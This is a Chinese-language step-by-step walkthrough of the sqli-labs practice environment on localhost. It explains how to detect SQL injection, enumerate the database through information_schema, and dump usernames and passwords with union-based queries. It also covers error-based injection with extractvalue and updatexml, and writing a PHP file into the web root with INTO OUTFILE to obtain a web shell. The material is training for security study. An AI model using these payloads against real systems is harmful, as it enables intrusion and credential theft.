一,实验环境需求
MySQL5.7.26及以上版本
PHP 5.3.29及以上版本
Apache2.4.39
Vscode phpstudy
二,实验步骤
Less-1
第一步
通过在id=1后加入一个闭合符号',如果报错,再在后面加上 -- qwe将后面注释掉,如果不报错,则证 明为字符型。命令如下:
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' -- qwe
第二步
通过order by 查询字段数
逐级增加order by 后面的数字,直到报错。如果逐级增加到n个字段后报错,那么证明这个字段有n-1个
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by n -- qwe
第三步
使用select查询语句
用select查询前三个字段,目的是为了知道哪几个字段在前端显示,这样我们可以将想要查询的数
据将前端显示的字段替换掉,注意前面的id=1要改为id=-1,目的是为了让前面的查询语句不执行,这样我们后面查询的version()才能够 显示出来。
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 -- qwe
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,version(),3 -- qw
第四步
查询数据库
查询当前所使用的数据库,为的是后期查询表名。
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,database(),3 -- qwe
第五步
information_schema库
mysql5.0以上的版本有information_schema库,information_schema库中有我们所需要的表名与库
名。我们先查询security数据库中的所有表的名字,并以一行输出的方式输出,因为如果不一行输
出的话,前端只会显示查询的第一个表名
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' -- qwe
第六步
查询password和username
现在我们知道了security数据库中的所有表名,我们需要查询password和username,一般情况下这些数据都会存储到users中,所以现在查询users这个表中的所有字段的名字是什么。
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' -- qwe
第七步
username和password的具体数据
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=2 unionselect 1,group_concat(username),group_concat(password) from users --+
Less-2
同Less-1,没有闭合方式
Less-3
同Less-1,')闭合
Less-4
同Less-1,")闭合
Less-5
报错注入:
1. extractvalue:
extractvalue函数用于从XML文档中提取特定的值。它接受两个参数,第一个参数是要提取值的XML文档,第二个参数是XPath表达式,用于指定要提取的值的位置。该函数将返回符合XPath表达式的节点的值。
2. updatexml:
updatexml函数用于更新XML文档中特定节点的值。它接受三个参数,第一个参数是要更新的XML文档,第二个参数是XPath表达式,用于指定要更新的节点的位置,第三个参数是新的节点值。该函数将返回更新后的XML文档。
3. floor:
floor函数用于向下取整,将一个数值向下取整为最接近的整数。它接受一个参数,即要进行取整操作的数值,返回最接近的小于或等于该数值的整数。例如,floor(3.8)将返回3,floor(4.2)将返回4。
报错注入:
既然存在注入,那么我们可以来尝试查询一下数据库的列数
?id=1' order by 3 --+
?id=1' order by 4 --+
可以看到列数是3列
可以看到这里我们无论怎么进行查询,结果都会显示You are in .........
但是当我们查询的字段多于3个后,页面会报错,这里就可以利用报错注入来进行:
?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
下面就直接利用数据库名+inforamtion_schema数据库来进行后续的注入
Less-7(secure_file_priv)
发现需要闭合'))
可以使用上面的报错注入函数尝试注入一下:
id=1')) and updatexml(1,concat(0x7e,databse(),0x7e),3)--
但是却并没有注入出,而是告诉我 有语法错误
当我们输入为id=1时,结果是这样的:
那么我觉得页面提示的应该有用的,可以使用输入/输出文件
1、show variables like '%secure%';
使用上面这个命令可以查看 secure-file-priv 当前的值,如果显示为NULL,则需要将其设置为物理服务器地址路径/路径设置为空,才可以导出文件到指定位置
2、into outfile 写文件 用法: select 'mysql is very good' into outfile 'test1.txt‘;
这里想要web shell成功实现需要同时满足三个条件:权限为root、知道网站的物理路径、secure_file_priv=空
假设这些条件我们都满足那么我们就可以尝试使用这样一种方式来将一个php文件来写入到服务的目录中:
?id=1')) union select 1,"<?phpinfo();?>",3 into outfile "F:\\PHPstudy\\phpstudy_pro\\WWW\\aaa.php" --+
但是可以看到这里页面却显示有语法错误,这里的原因就是上面查询到的secure_file_priv字段的值为NULL,Mysql规定这个值为NULL,则不允许进行文件导入导出操作,因此现在我们来将该值修改为空:
修改后,然后重启Mysql生效;、
重启后,我们再次来尝试导出一下:
可以看到,还是语法错误,但是当我去对应目录下看时,发现aaa.php已经创建了
然后我们可以尝试访问一下该文件:
可以看到php成功执行,本关也就成功的通关了